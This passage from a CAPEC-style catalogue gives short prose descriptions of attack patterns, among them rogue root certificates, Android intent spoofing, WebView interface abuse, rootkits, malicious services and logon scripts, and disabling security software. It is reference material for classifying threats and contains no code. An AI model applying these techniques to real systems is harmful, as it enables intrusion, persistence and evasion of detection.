An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.